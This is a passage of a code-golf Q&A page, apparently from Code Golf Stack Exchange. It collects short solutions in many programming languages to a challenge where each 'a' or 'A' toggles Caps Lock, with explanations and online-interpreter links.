cAPSlOCK\"\n-> \"CPSlOCK LOCKS CPSlOCK\"\n\"wHAT IF cAPSlOCK IS ALREADY ON?\"\n-> \"wHt if CPSlOCK IS lreDY ON?\"\n```\nThe winning criterion is, as usual, the size of the submitted program's source code.\n \n[Answer]\n# [AutoHotKey](https://autohotkey.com), 7 bytes\n```\na::vk14\n```\n// Is this valid? This really do what OP want -- replace `a` by `CapsLock (vk14)`.\nRun this program, and type the input from keyboard..\n[Answer]\n# [V](https://github.com/DJMcMayhem/V), 9 bytes\n```\nò/ãa\nxg~$\n```\n[Try it online!](https://tio.run/##VVA7WoRADO49RQpLPu09hxfIQoCsQzJOAiyNl/EGXmEPhpkFC7t5/O9l3@8/r/dvfLoNX8/7/j4SkHSgPXgcWczZZ2eVBiZkcRKUlhrAAGE3sbB5wQqonEEXKjKReANs4ApG7VzoIUa3wFKw/9Qv2m2QNbFz21RwLurUOrAfBvHUzyUsxjNNxwt3MyaDdVRodcpq8e6wsh@YrCuVakBy1Y1lCBYY9uTbIVlQPmdOYbpVAhcQ9LlggsLD6HY613iJzELBqlzint4eX@tIQlGzYsJ8KIQOerlGcAOMrqL17rEWdc0RijQnghEXAjx8ajdMfsj82@0s7vhBMBFazGcg1EYYLBv0Ws7cR6umrmaZCp8NR8w5rM1efgE \"V – Try It Online\")\nHexdump:\n```\n00000000: f22f e361 0a78 677e 24 ./.a.xg~$\n```\nExplanation:\n```\nò \" Recursively:\n /ãa \" Move forward to the next 'a' (upper or lowercase)\n \" This will break the loop when there are no more 'a's\nx \" Delete the 'a'\n g~$ \" Toggle the case of every character after the cursor's position.\n```\n[Answer]\n# Vim, 16 bytes\n```\nqq/\\ca\nxg~$@qq@q\n```\nAssumes the input is on a single line\n## Explanation\n```\nqq Start a loop\n /\\ca␊ Find the first occurence of an a, end the loop if there are none left\n xg~$ Remove it and invert the case of the rest of the file\n@qq@q End the loop \n```\n[Answer]\n# C, 72 bytes\n*Thanks to @Ton Hospel for helping to save 16 bytes!*\n```\nt,c;f(char*s){for(t=0;c=*s++;6305%c?putchar(isalpha(c)?c^t:c):(t^=32));}\n```\n[Try it online!](https://tio.run/##bVLNbtswDL73KYgCw@zWG4oV2yFBEAS97rYCuxVgZNpWIkuaSCf1ij57RjkO0AHRQZYlkt8Pab60xpxOUpllU5gO0x2Xb01IhawelmZ1x/f3yx@PD98/mXUcJAcUltHFDgtTrs2LLEy5KORl9fitLJfvJ@sFerS@KG/ebkBXU9w@dwR/Bmv2sE3h6KEJr7Ab@sgQDpRA9Nnh3xHq0H69LZegQFzc6ulS4Cn00ToUGzTZessd1cCDMcTcDM6N19N@dyjQYYzkGY4d@QnqCSP/DEpmTyNowTEMKZ@3AVOtHIj955x2IEDwQTWD9WBlfRUjayNfQ2im4tazWBky02ryQcijN1QBahDWfWYv6SxFc9rsgO/JSwWWQQIwmSHRVIxeNZY0@1J9G@oRYnBWrKlycExByIiyOwPoVTOkbNDMprYHWw/osv4ARn0MrPcCRyvnmBiO2gMFIL8Lo/VtVsvYkIznkgm9Ns8p6JgTbAKPMiR0kGzbCc/ImZ7TfmgFzuWcbWgxPWXnaW60greJtC1hu1PiDKha1WT9F3WL6upMikJ0dGnChJO1oZN5Xj76NgsX3BP0hKz2MXjKw4Fp1GlLM@@zqiq7xpGSnRXmCVFo5utThBvUlbfNRj9XY4R@PeP/W359P/0D)\n[Answer]\n# [Husk](https://github.com/barbuz/Husk), 11 bytes\n```\nΓ·§?m\\:€\"Aa\n```\n[Try it online!](https://tio.run/##yygtzv7//9zkQ9sPLbfPjbF61LRGyTHx////SuUejiEKnm4KyY4BwTn@zt4KnsEKjj5Bro4ukQr@fvZKAA \"Husk – Try It Online\")\n## Explanation\nI'm using the somewhat obscure overloading of `Γ` called `listNF`, which constructs recursive functions that operate on lists.\nIt corresponds to the following Haskell pattern:\n```\nlistNF f = g\n where g (x : xs) = f g x xs\n g [] = []\n```\nThe idea is that `listNF` takes a helper function `f` and returns a new function `g`, which takes a list.\nThe function `f` takes a function, which will always be `g`, and the head `x` and tail `xs` of the list, and does something with them.\nIn our application, `f` calls `g` recursively on `xs`.\nThe program is interpreted like this:\n```\nΓ (· (§ (?m\\) : (€\"Aa\")))\nΓ ( ) Create a function g that takes a list (x:xs) and applies a function on x and xs.\n · ( ) Compose g with second argument of function in parentheses.\n Instead of x and xs, the function is called on x and the result of a recursive call of g on xs.\n (€\"Aa\") Check if x is 'A' or 'a'.\n (?m\\) If it is, then swap the case of every char in g(xs).\n § : Otherwise, prepend x to g(xs).\n```\n[Answer]\n# [Retina](https://github.com/m-ender/retina/wiki/The-Language), ~~33~~ ~~21~~ 17 bytes\n```\ni(Tv`lL`Ll`a.*\na\n```\n[**Try it online**](https://tio.run/##TVK9jtswDN79FFyKOxRGgK5diuDWjAfcGsambSayqIpUcr6XTynbB9SDLUvk90dlMo746/nj9dw8@fX9fg6n8ymc8fCzweb5fJ8I/hbubnDJ8ogwyCdcy5wU5E4ZzI8Dfi3Qy3ho3mROHNBYvJAj60Q9aOk6Uh1KCMuh@ZjQYMKUKCo8JoorxBsmPYmT3GgBb16k5Lq@CObesUnjS227EyBEsW4CjsD2p6n6KPYgwwrEUY2tVAUtzMjRKGLsqAX0IuznqsryJtF7xuoizhStBVYwAaWuZFrB6NNrybu/0S/SL5AksHHX1uKUxagzV7IR@NZQcjW@q@n5zn3BUL0KdJ6PqO8bPNi2miQPz9EJKF5l4ThWZ4oD2bJBZow@gOCkS23gDBGtZAyQeZxMd@YqL3jOjqAVLvBAv9ejmjLtw3LyMZOPQC5XF66A7tUD9X/ztKhvN1EkKdB34CtP9YbB9pn/n9tu3PBGMBOqx6cQqQ4d8@I3Ju@6N1dtTU0TZd4d1tvg1KqHBo/oT30dj/75Bw)\n**Explanation:**\n```\ni( i is for case-insensitive, the paren makes it modify both stages\n Tv` Transliteration, with simple overlaps (v) - 1 match at every start pos\n lL`Ll` Replace lowercase with uppercase, and vice versa\n a.* Every 'a' will match, overlapping to the end of the string\n This swaps the case on all letters after each 'a'\na Replace all 'a's with nothing\n```\n*-12 bytes thanks to Martin* \n*-4 bytes thanks to Leo*\n[Answer]\n# Python, 63 bytes\n```\nf=lambda s:s and[s[0]+f(s[1:]),f(s[1:]).swapcase()][s[0]in\"aA\"]\n```\nAnother Python solution, works in Python 2 and 3.\nTakes a very long time for all but small inputs.\n[Answer]\n# [R](https://www.r-project.org/), 92 bytes\n```\ncat(`[<-`(v<-el(strsplit(scan(,\"\"),\"a|A\")),w<-c(F,T),chartr(\"a-zA-Z\",\"A-Za-z\",v)[w]),sep=\"\")\n```\nThank @Giuseppe for fixing the answer.\n**Explanation**\n```\n# Write\ncat(\n # Replace and return, this is the function that powers\n # the R store at index operations, a[i]<-b\n `[<-`(\n # First arg - what to replace = extract first list element\n # of a string input after splitting at a or A\n v<-el(strsplit(scan(,\"\"),\"a|A\")),\n # Second arg - index to replace = abuse vector recycling\n # to create infinite F, T, F, T, F, etc series\n w<-c(F,T),\n # Third arg - replacement values = replace with case toggled letters\n chartr(\"a-zA-Z\",\"A-Za-z\",v)[w]),\n # Write without separation\n sep=\"\")\n```\n[Try it online!](https://tio.run/##VVJLbtwwDL0KoZUNyD1AMVlk0xNk1aBAODI9ZipLqkjbddC7T6l4uuhG0Od9CdV75GvFenQL6ZxH6e8BtXt7vQxv3XYZKHaiVUpk7SRg6rxzvXf459n1vd8vQ@i@@Zfehxmr1s7h8PE8fHfe2Wp757f@df/Re6HyZMy7e5kJKI2QJ1DbchJlXZVz8rAgJ6WEKZAHNBCOCye2ANgAjXPLG9W0UFIPLKAZhMJa6VOMfhuWjP1P/ZrHA0q28Bx8A5ealYIC62lgV9NazWJ@pBl543HFKLDPGUJeSha7V9hZT0zJO9VmQOk9H5xuxgLBifQ4JSumXytHMz0agSsk1LVihMq3WeXh3OJFEjEFaXKRJ/r6@bTPlMhqNoyZ3yqhQr6@W3ABtK4pt7PatGj0ZyjKJRLMuBHg6dO6YdRT5r@5PYor/iRYCMXGJ5AoWBj7CDDl@sh9tvJtalKo8qPhjKWYtcgXd/8L \"R – Try It Online\")\n[Answer]\n# Java 8, ~~119~~ ~~108~~ 98 bytes\n```\ns->{int f=0,t;for(int c:s)if((t=c&95)==65)f^=1;else System.out.printf(\"%c\",f<1|t<66|t>90?c:c^32);}\n```\n-11 bytes thanks to *@OlivierGrégoire*. \n-10 bytes thanks to *@Nevay*.\n**Explanation:**\n[Try it online.](https://tio.run/##bVRhT9tADP2@X2FV2pZKpYJNIEEpqOo2DY3BtCKNCYHkXpzmyvUuu3NaMuC3d74knUa1qk2bnP3e87PdOS5xxxVk5@n9WhkMAb6ito@vALRl8hkqgot4C7B0OgWVqBz9zS2E7kCePstH3oGRtYILsDCEddg5eZRsyIa7PR5kzifxTh2Frs6ShIfqzeF@dzg82O9md8O9AZlAMKkC06LvSu4XXsKzpPNadXrZ8d4THx8cPPHJ4e6pOlJ37991B8/rQcNblFMjvC19LXAh8pMJC8bs5ha7jXSmwEnnKif4VWp1D1PvVhYy9wDzclEEcEvywHJs8HcFqZv1O3V5m8yxWxTaCImTLG11yCmFUCpFIWSlMdVW/I8cGXIsxNgAq5xsDT7GIpw7ob@nCgSpcqWPv6cOfSqsFOzbmLYkQLCOVS5NAM2nL8FjGWRTcFmNqm1gzWXU1qurZ7JoFfUAJQjTRdTLvhEvObNYrF2Q5R7oAOwgkCo91WD0ILEk2Rv0qUsrKJzRYnAvBhfeMSkWWQ2BPMpKHy1p1aR6qdMSTSzcgRLnnPRXM6w0NzGFW4ndQiBj5yppVCwzYEZcNZAerfTJCGkVE7QHi1x6NOD1LOfQMkd5RjogCCHCGZ3RUX0ULae2p0I@8yT9cNO5CA@AUqu4K/csblHaa0SRKwxt3K95Ym1ouB2Nf31rC2e8J1gQBrEvgKU4DugrGSzf6m6q6kXXQkFetxXG0RDqELbmBkcor3gZjeRrawg342PkEkCNvk3M5fjLy6DV59EVnH36ewpnExidf/84@vATLi@2Jukarx86/9njepHqkGaRZNmbPbJ9lYQ@u7H8B4y8xyrptoDb@2ts0gI/r/8A)\n```\ns->{ // Method with char-array parameter and no return-type\n int f=0,t; // Flag-integer, starting at 0\n for(int c:s) // Loop over the characters of the input as integers\n if((t=c&95)==65) // If the current character is an 'A' or 'a':\n f^=1; // Toggle the flag (0→1 or 1→0)\n else // Else:\n System.out.printf(\"%c\", // Print integer as character\n f<1| // If the flag-integer is 0,\n t<66|t>90? // or the current character isn't a letter:\n c // Simply output the character as is\n : // Else (the flag it 1 and it's a letter)\n c^32);} // Print it with its case reversed\n```\n[Answer]\n# JavaScript (ES6), ~~93~~ ~~88~~ ~~84~~ 82 bytes\n*(saved 5 bytes thanks to @Shaggy, 4 bytes thanks to @user81655, and 2 bytes thanks to @l4m2.)*\n```\na=>a.replace(A=/./g,c=>c in{a,A}?(A=!A,''):A?c:c[`to${c<{}?'Low':'Upp'}erCase`]())\n```\n**Test cases:**\n```\nlet f=\na=>a.replace(A=/./g,c=>c in{a,A}?(A=!A,''):A?c:c[`to${c<{}?'Low':'Upp'}erCase`]())\nconsole.log(f(\"The quick brown fox jumps over the lazy dog.\"));\nconsole.log(f(\"Compilation finished successfully.\"));\nconsole.log(f(\"What happens when the CapsLock key on your keyboard doesn't have a notch in it?\"));\nconsole.log(f(\"The end of the institution, maintenance, and administration of government, is to secure the existence of the body politic, to protect it, and to furnish the individuals who compose it with the power of enjoying in safety and tranquillity their natural rights, and the blessings of life: and whenever these great objects are not obtained, the people have a right to alter the government, and to take measures necessary for their safety, prosperity and happiness.\"));\nconsole.log(f(\"aAaaaaAaaaAAaAa\"));\nconsole.log(f(\"CapsLock locks cAPSlOCK\"));\nconsole.log(f(\"wHAT IF cAPSlOCK IS ALREADY ON?\"));\n```\n[Answer]\n# [PowerShell Core](https://github.com/PowerShell/PowerShell), 105 bytes\n```\n\"$args\"|% t*y|%{if($_-in97,65){$c=!$c}else{Write-Host -n($_,(\"$_\"|%(\"*per\",\"*wer\")[$_-in65..90]))[!!$c]}}\n```\n[Try it online!](https://tio.run/##K8gvTy0qzkjNydFNzi9K/f9fSSWxKL1YqUZVoUSrska1OjNNQyVeNzPP0lzHzFSzWiXZVlEluTY1pzi1OrwosyRV1yO/uERBNw@oSkdDSSUeqFNDSasgtUhJR0kLaLaSZjRYv5mpnp6lQaymZrQi0IDY2tr/QLucEwuKffKTsxVygESxQrJjQHCOv7O3EgA \"PowerShell Core – Try It Online\")\nWhat with no real ternary operator and no default alias for printing to screen, it's not that short.\n* `% t*y` expands to `| ForEach-Object -Method ToCharArray` equiv. of `\"$args\".ToCharArray()`\n* `Write-Host -n` is for the parameter `-NoNewLine`\n* `\"$_\"` turns the `[char]` type back to `[string]` (chars have no upper/lower case in .Net)\n* `|% *per` does the same method call shortcut as earlier, but for `.ToUpper()`, same with `.ToLower()`\n* `($a,$b)[boolean test]` abused as fake-ternary operator\n* `!!$c` force-casts to `[bool]` here it starts undefined `$null` so it gets forced it into existence as \"caps lock: $false\".\n[Answer]\n# [Perl 5](https://www.perl.org/) `-p`, ~~31~~ ~~30~~ 29 bytes\n-1 byte thanks to [@nwellnhof](https://codegolf.stackexchange.com/users/9296/nwellnhof)\n-1 byte thanks to [@ikegami](https://codegolf.stackexchange.com/users/3324/ikegami)\n```\n#!/usr/bin/perl -p\ns/a([^a]*)a?/$1^uc$1^lc$1/egi\n```\n[Try it online!](https://tio.run/##Fcs9C8IwEIfxr/IfBF9AQgfnDq7uDtLCNT1MaLk7klTplze2y49neYzTfKs1Ozq9euouZ2rdoekXvzFvOH7HWp@BCgKZsWR8AwtKYNzJ8kP9hIlXqGDVJe09KKURo3KW4759GATR4gOiIJb2p1aiSq5X@wM \"Perl 5 – Try It Online\")\n[Answer]\n# C, 167 168 158 131 bytes\nThanks for @Martin Ender for the code review: I've switched the stream processing for string processing to help with reusability. Also many thanks to @RiaD and @ceilingcat for their suggestions.\n```\nc,d;(*t[][2])()={{isupper,tolower},{islower,toupper}};f(char*s){for(d=1;c=*s++;)t[0][1](c)==97?d=!d:putchar(t[!t[d][0](c)][1](c));}\n```\n[Try it online!](https://tio.run/##RY/LTsMwEEX3@QpX3dhpitpKFQLXIN6fwMLyIozt1FKII3sCgsi/TnCqClZz77lnM7BuAKal66AdtCGHiNr5i@NN8Y8Av3qT0QSV5rREqeROMcrEOLo49L0JFfrWf5qQqkxOKZPTkhK3FI51KCMbrQ9Uiy0HUcbVijOUGyW3igIT4uryVouFvu4HnHWKcoFSq2zk@WwxnibXIXmvXUc/vNNsLAiZdRLlbr9XvMjdWWobg5HGikT3bbylkeWYH@sYI3PjWQsGh9CRDS/SVL@BNrYhd/cPj0/PL3/3zH/AtnUTp/Vr3ba/ \"C (gcc) – Try It Online\")\n# How does it work?\n```\n/* int c is the input character,\n int d is the Caps Lock flag (1=off, 0=on) starting as \"Off\". */\nint c, d;\n/* array of comparison functions and transformation functions for each state */\n(*t[][2])() = {{isupper, tolower}, {islower, toupper}};\nf(char *s) {\n /* Loop if we haven't hit the terminator */\n for(d = 1; c = *s++;)\n t[0][1](c) == 97 ?\n /* If tolower(c)=='a' then flip the Caps Lock state */\n d=!d:\n /* Otherwise, convert character according to the following table:\n Character case\n Caps Lock UPPER LOWER\n ON tolower() toupper()\n OFF toupper() tolower()\n */\n putchar(t[!t[d][0](c)][1](c));\n }\n}\n```\n# Notes\n* `s[][]` is where the magic happens: `[][0]` is the comparison function and `[][1]` is the related transformation function for each state.\n* `!` is applied to the comparison function to force it into the range [0,1].\n[Answer]\n# [6502 machine code](https://en.wikibooks.org/wiki/6502_Assembly) routine (C64), 51 bytes\n```\nA0 00 84 FE B1 FC F0 2A C9 41 F0 06 90 1A C9 C1 D0 08 A9 80 45 FE 85 FE B0 11\nB0 06 C9 5B B0 08 90 04 C9 DB B0 02 45 FE 20 16 E7 C8 D0 D6 E6 FD D0 D2 60\n```\nExpects a pointer to a 0-terminated input string in `$fc/$fd`, outputs to the screen.\n### Commented disassembly\n```\n .caps:\nA0 00 LDY #$00\n84 FE STY $FE ; init capslock state\n .loop:\nB1 FC LDA ($FC),Y ; next char from string\nF0 2A BEQ .done ; NUL -> we're done\nC9 41 CMP #$41 ; compare to 'a'\nF0 06 BEQ .isa ; if equal, toggle capslock\n90 1A BCC .out ; if smaller, direct output\nC9 C1 CMP #$C1 ; compare to 'A'\nD0 08 BNE .ctog ; if not equal, check for letter\n .isa:\nA9 80 LDA #$80 ; toggle bit 7 in caps lock state\n45 FE EOR $FE\n85 FE STA $FE\nB0 11 BCS .next ; and go on\n .ctog:\nB0 06 BCS .cZ ; if char larger 'A', check for 'Z'\nC9 5B CMP #$5B ; compare with 'z'+1\nB0 08 BCS .out ; larger or equal -> direct output\n90 04 BCC .tog ; smaller -> apply capslock\n .cZ:\nC9 DB CMP #$DB ; compare with 'Z'+1\nB0 02 BCS .out ; larger or equal -> direct output\n .tog:\n45 FE EOR $FE ; toggle bit from capslock state\n .out:\n20 16 E7 JSR $E716 ; output char\n .next:\nC8 INY ; and loop to next char\nD0 D6 BNE .loop\nE6 FD INC $FD\nD0 D2 BNE .loop\n.done:\n60 RTS\n```\n---\n### Example assembler program using the routine:\n**[Online demo](https://vice.janicek.co/c64/#%7B%22controlPort2%22:%22joystick%22,%22primaryControlPort%22:2,%22keys%22:%7B%22SPACE%22:%22%22,%22RETURN%22:%22%22,%22F1%22:%22%22,%22F3%22:%22%22,%22F5%22:%22%22,%22F7%22:%22%22%7D,%22files%22:%7B%22caps.prg%22:%22data:;base64,AQgLCOIHnjIwNjEAAACpF40Y0KnYoAggHqup4YX8qQiF/SArCKkIhf1MpQigAITMhP6l/YUCIELx8PuF+yl/ySCwEskN8A7JFNDrpf7QBqUCxf3w4abP8Ap4pNOx0Sl/kdFYpfsgFuemz/AMeKTTsdEJgJHRWKX7yRTwH6T+kfzJDfAJyIT+0K3m/dCpqQCk/sjQAub9kfzmzGCk/tACxv2IhP6wkKAAhP6x/PAqyUHwBpAaycHQCKmARf6F/rARsAbJW7AIkATJ27ACRf4gFufI0Nbm/dDSYA1JTlBVVD4gAA==%22%7D,%22vice%22:%7B%22-autostart%22:%22caps.prg%22%7D%7D)**\n[![screenshot](https://i.stack.imgur.com/fhfI6.png)](https://i.stack.imgur.com/fhfI6.png)\n**Code in [ca65](http://cc65.github.io/doc/ca65.html) syntax:**\n```\n.import caps ; link with routine above\n.segment \"BHDR\" ; BASIC header\n .word $0801 ; load address\n .word $080b ; pointer next BASIC line\n .word 2018 ; line number\n .byte $9e ; BASIC token \"SYS\"\n .byte \"2061\",$0,$0,$0 ; 2061 ($080d) and terminating 0 bytes\n.bss\nstring: .res $800\n.data\nprompt: .byte $d, \"input> \", $0\n.code\n lda #$17 ; set upper/lower mode\n sta $d018\n lda #prompt\n jsr $ab1e\n lda #string\n sta $fd\n jsr readline\n lda #>string ; call our caps routine on buffer\n sta $fd\n jmp caps\n; read a line of input from keyboard, terminate it with 0\n; expects pointer to input buffer in $fc/$fd\n; NO protection agains buffer overflows !!!\n.proc readline\n ldy #$0\n sty $cc ; enable cursor blinking\n sty $fe ; temporary for loop variable\n lda $fd\n sta $2 ; initial page of string buffer\ngetkey: jsr $f142 ; get character from keyboard\n beq getkey\n sta $fb ; save to temporary\n and #$7f\n cmp #$20 ; check for control character\n bcs prepout ; no -> to normal flow\n cmp #$d ; was it enter/return?\n beq prepout ; -> normal flow\n cmp #$14 ; was it backspace/delete?\n bne getkey ; if not, get next char\n lda $fe ; check current index\n bne prepout ; not zero -> ok\n lda $2 ; otherwise check if we're in the\n cmp $fd ; first page of the buffer\n beq getkey ; if yes, can't use backspace\nprepout: ldx $cf ; check cursor phase\n beq output ; invisible -> to output\n sei ; no interrupts\n ldy $d3 ; get current screen column\n lda ($d1),y ; and clear \n and #$7f ; cursor in\n sta ($d1),y ; current row\n cli ; enable interrupts\noutput: lda $fb ; load character\n jsr $e716 ; and output\n ldx $cf ; check cursor phase\n beq store ; invisible -> to store\n sei ; no interrupts\n ldy $d3 ; get current screen column\n lda ($d1),y ; and show\n ora #$80 ; cursor in\n sta ($d1),y ; current row\n cli ; enable interrupts\n lda $fb ; load character\nstore: cmp #$14 ; was it backspace/delete?\n beq backspace ; to backspace handling code\n ldy $fe ; load buffer index\n sta ($fc),y ; store character in buffer\n cmp #$d ; was it enter/return?\n beq done ; then we're done.\n iny ; advance buffer index\n sty $fe\n bne getkey ; not zero -> ok\n inc $fd ; otherwise advance buffer page\n bne getkey\ndone: lda #$0 ; terminate string in buffer with zero\n ldy $fe ; get buffer index\n iny\n bne termidxok ; and advance ...\n inc $fd\ntermidxok: sta ($fc),y ; store terminator in buffer\n inc $cc ; disable cursor blinking\n rts ; return\nbackspace: ldy $fe ; load buffer index\n bne bsidxok ; if zero\n dec $fd ; decrement current page\nbsidxok: dey ; decrement buffer index\n sty $fe\n bcs getkey ; and get next key\n.endproc \n```\n[Answer]\n# [Ruby](https://www.ruby-lang.org/), ~~42~~ 41 bytes\n```\n->s{s.sub!(/a(.*)/i){$1.swapcase}?redo:s}\n```\n[Try it online!](https://tio.run/##jVJNb5tAFLz7V0xRrdqVQ9RrJMei2K5RUBwFu5FrcVjDUjYhu5QHcWiS3@4@qLHanrqHtx8zb2Z2tUW1qw/J@HB2SS9kU7V7NzgXA/vj8FwNX95/smkv8kiQfJsUMjYX9HbY9oCttUolflQqesCuMHuNxDzjvnrMCeZJFigZzsTPGrH5blsj/Bf/2wbT5RfbCkethWsec5WJUhmmK60olTGoiiJJlFRZVrPwkbTylteYe9desJhNEaxddxYE87Xvb05qd6kokYo8l5qwT6VuPV2Rk2841YOswT61qYpmvTOiiDm8JP2haXuSENCmjFIoDVVO2PouXWHxr95NkC3dK1zNNuBIm@X6tll/Xv6p9nWGv7WOEYUjeDTFcXhii9NTdDEzLoTI@W3T3P9o6HMJOvuubb9wVvDmJz68AI5/O3OmTbrmDvtFCZWcYjOeFfKIhr3QloJTxgavSudVOYJ8zmVUyviV9aPMaIkxWsiOUlGQfW@UZqiQVGUlY8m2RUM@44lgDfo0RJ9wdsnVQh/bThLjcdc3gZULYvgCViJUxh@oNbOVpoY8OhK7fdiTOj78Ag \"Ruby – Try It Online\")\nA lambda accepting a string, mutating the string in place, and returning it. The trick here is that `sub` returns the string (a truthy value) if a substitution was made, and returns `nil` otherwise. The existence of `swapcase` is pretty handy, too.\n-1 byte: Replace boolean logic with ternary operator, thanks to [Asone Tuhid](https://codegolf.stackexchange.com/users/77598/asone-tuhid)\n```\n->s{\n s.sub!(/a(.*)/i){ # Replace \"a\" followed by anything with\n $1.swapcase # the case-swapped capture group\n } ? redo # If a match was found, restart the block\n : s # Otherwise, return the modified string\n}\n```\n[Answer]\n# [Jelly](https://github.com/DennisMitchell/jelly), 14 bytes\n```\nŒu=”Aœp⁸ŒsJḤ$¦\n```\n[Try it online!](https://tio.run/##VVC7UcRADG1FAaGHApghICWmAZ0t2zrW2mUln3EGLRwxGUMNFzNzhXCNGC02Adl@3n9PIczLcj6Ot5eX97vzW7q8ns5Hvf8@fVx9fS7L8tATkDQQWzA/sqixjcZRKhiQxUhQaqoAHYTNwMJqGQugcLp4oCwDiVXAChZBqR4z/YrRs2PJ2X/qu9jMkGJg47oq4JSjUW3Athr4Uztmt@i3NA0fuBkxKEx9hDoOKaq/G0xsKybFiXIxINnHmaVzFii2ZPMqmVGeRg5uOhcCZxC0MWOAzF1vujmXeIFUXUGLXOCWbn6/pp6EvGbBuHmXCQ3ibu/BFdC7Six387WoqdZQFFMg6PFAgKtP6YbBVpl/u23FDR8JBkL1@RSEag@DeYY25i332qoqq2mizFvDHlNya9XrHw \"Jelly – Try It Online\")\nFull program.\nExplanation:\n```\nŒu=”Aœp⁸ŒsJḤ$¦ Arguments: x\nŒu Uppercase x\n =”A ^ Equals 'A' (vectorizes)\n œp⁸ ^ Partition ⁸ [⁸=x]\n ¦ Apply link A, keep results at specific indices B\n Œs A: Swap case\n $ B: Form a >=2-link monadic chain\n JḤ Arguments: y\n J Get list indices ([1, length(list)]) of y\n Ḥ Double (vectorizes) ^\n This way, we only \"apply\" link A to even indices, so every second\n element, starting from the secondd one.\n```\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E), 12 bytes\n```\nõ?„AaS¡Dvć?š\n```\n[Try it online!](https://tio.run/##MzBNTDJM/f//8Fb7Rw3zHBODDy10KTvSbn904f//4RmJJQoZiQUFqXnFCuUZqXkKJRmpCs6JBcU@@cnZCtmplQr5eQqV@aVFIHZSfmJRikJKfmpxnjpIW1mqQqJCXn5JcoZCZp5CZok9AA \"05AB1E – Try It Online\")\n**Explanation**\n```\nõ? # print an empty string (to account for the special case of only A's)\n „AaS¡ # split on occurrences of \"A\" or \"a\"\n D # duplicate\n v # for each element in the top copy\n ć? # extract and print the head of the other copy\n š # switch the case of the rest of the other copy\n```\n[Answer]\n# [Wolfram Language (Mathematica)](https://www.wolfram.com/wolframscript/), 70 bytes\n```\n#//.{x___,\"a\"|\"A\",y___}:>Join[{x},ToUpperCase@#+ToLowerCase@#-#&@{y}]&\n```\n[Try it online!](https://tio.run/##NY69DoIwFEZf5aYkOIi6G38wbMbBQeNAGnLFmjaEe0lbBYI8e8XB7TvDd3Jq9FrV6E2J4fmibYhWq@XQFUWRCBQfcRBJP8G43h3ZUD50Y3Lha9Mom6FTaTS/8InbPy2iOB36UcbhbA35XAjY7GDy5plGi6VX1uXiptGDxklCDlqtCKYGyLBxJy4rqFQPTNDzy/72ndE@4MHK0ex3eytAIPalBkNg/F5IKcMX \"Wolfram Language (Mathematica) – Try It Online\")\nTakes input and output as a list of characters. For convenience I've added code in the footer to convert this from and back to a string.\n# How it works\nThe `#//.{x___,\"a\"|\"A\",y___}:>Join[{x},`...`{y}]&` part is standard: we find the first `A` (uppercase or lowercase), reverse case of that comes after the `A`, and repeat until there are no more `A`'s to be found.\nThe interesting part is how we reverse case: the function `ToUpperCase@# + ToLowerCase@# - #&`. We add together the upper-cased version of the input and the lower-cased version of the input, then subtract the actual input. For example, given the list `{\"I\",\"n\",\"P\",\"u\",\"T\"}` this computes\n```\n{\"I\",\"N\",\"P\",\"U\",\"T\"}+{\"i\",\"n\",\"p\",\"u\",\"t\"}-{\"I\",\"n\",\"P\",\"u\",\"T\"}\n```\nwhich threads over lists as\n```\n{\"I\"+\"i\"-\"I\",\"N\"+\"n\"-\"n\",\"P\"+\"p\"-\"P\",\"U\"+\"u\"-\"u\",\"T\"+\"t\"-\"T\"}\n```\nand although Mathematica doesn't have any particular way of adding two strings, it's smart enough to simplify `a+b-a` to `b` for any values of `a` and `b`, including string values, so this simplifies to `{\"i\",\"N\",\"p\",\"U\",\"t\"}`.\n[Answer]\n# [PHP](http://php.net) ~~101~~ 99 bytes\n```\nfor($s=$argn;$ifoldl((b,c)->c∈\"aA\" ? !b : (print(c+32isletter(c)sign('_'-c)b);b),s,init=1<0)\n```\n## Explanation\n### De-golfed:\n```\nfunction f(s::String)::Bool\n foldl(s, init=false) do b, c\n if c ∈ \"aA\"\n return !b\n else\n print(c + 32 * (isletter(c) & b) * sign('_'-c))\n return b\n end\n end\nend\n```\n`foldl(f, s, init=false)`: takes a function `f` that maps a state and a `Char` `c` to a new state. Applys `f` repeatedly over each `Char` of the string `s`, always passing the state previously returned by `f` back to `f`. `init` is the initial state. Here the state represents whether caps-lock is on.\n`if c in \"aA\"`: If `c` is an upper- or lowercase `'a'`, just return the opposite state.\n`isletter(c) & b`: `Bool`, returns true iff `c` is a letter and `b` indicates, that caps-lock is on.\n`sign('_'-c)`: `-1` if `c` is lowercase, `1` if `c` is uppercase.\n`print(c + 32 * (isletter(c) & b) * sign('_'-c))`: `Bool`s act like 0/1 under simple arithmetic operations, so if caps-lock should have an effect, this either adds or substracts 32 from `c`, returning a `Char` with opposite case. Then just print that.\n[Try it online!](https://tio.run/##ZVLNbtNAEL73KYZcYgsHUbgV2soKICoqimglxAmN1@N4k82u2RkncZ@gz8mLhNnERaj1YW3vznx/O8veWTzd7ZvzPc8umuBql2VVYfLZhfnz8DDBcgKX8KKCM8i6aL1k5uXbN5YdiVDMTM524bPpr@nM5FX@rsoLLqy3cn76/nW@b7LJXUvwu7dmBVUMWw9N2MGyX3cMYUMRRI8d3g9Qh8WrSX5y4HA@y0@0dx7WnXUoNmifonJLNXBvDDE3vXPDs44fLQq02HXkGbYt@QPBHDu@DiphRQMo1hD6mL6rgLFWZmI/TW0bAgQfxLRgPVi5fAqfzJCvITQHXOtZrPRJXwFr1ELy6A0VgFqE9Tpplng0oD2LZNmvyUsBlkECMJk@0gGMdlpL2v2IXoV6gC44K9YUqbiLQciICjsS6FbTxxTLqKa2G1v36JL1AEbTC6z7Alsrx5oubDV0JSC/DIP1i2SUsSEZjpARvd6WU9IhNdgIHqWP6CDaRSs8Mid5Tm9BETjBOdvQ2eEohU7jzSr5IpLeSKiWKpwB1avmq/@iaVFdHEVR6Bw95n/gSd7QyTgg/@c2GhdcEawJWeNj8JRGAuOg4xVH3UdXRUqNO4p2dJiGQ6mZn80OlqhPWspSX8@G8XGInC4Mpvx2627mX56WbT@Xd3D16d85XN1Cef39Y/nhJ9x81Yna/wU \"Julia 1.0 – Try It Online\")\n[Answer]\n# [Vyxal](https://github.com/Lyxal/Vyxal) `s`, ~~12~~ ~~10~~ 9 bytes\n*Saved 2 bytes by using `ṡ` to split the string with a regex.*\n*Saved 1 byte by using `⁽` to define the function.*\n```\n`a|A`ṡ⁽Nẇ\n```\n[Try it 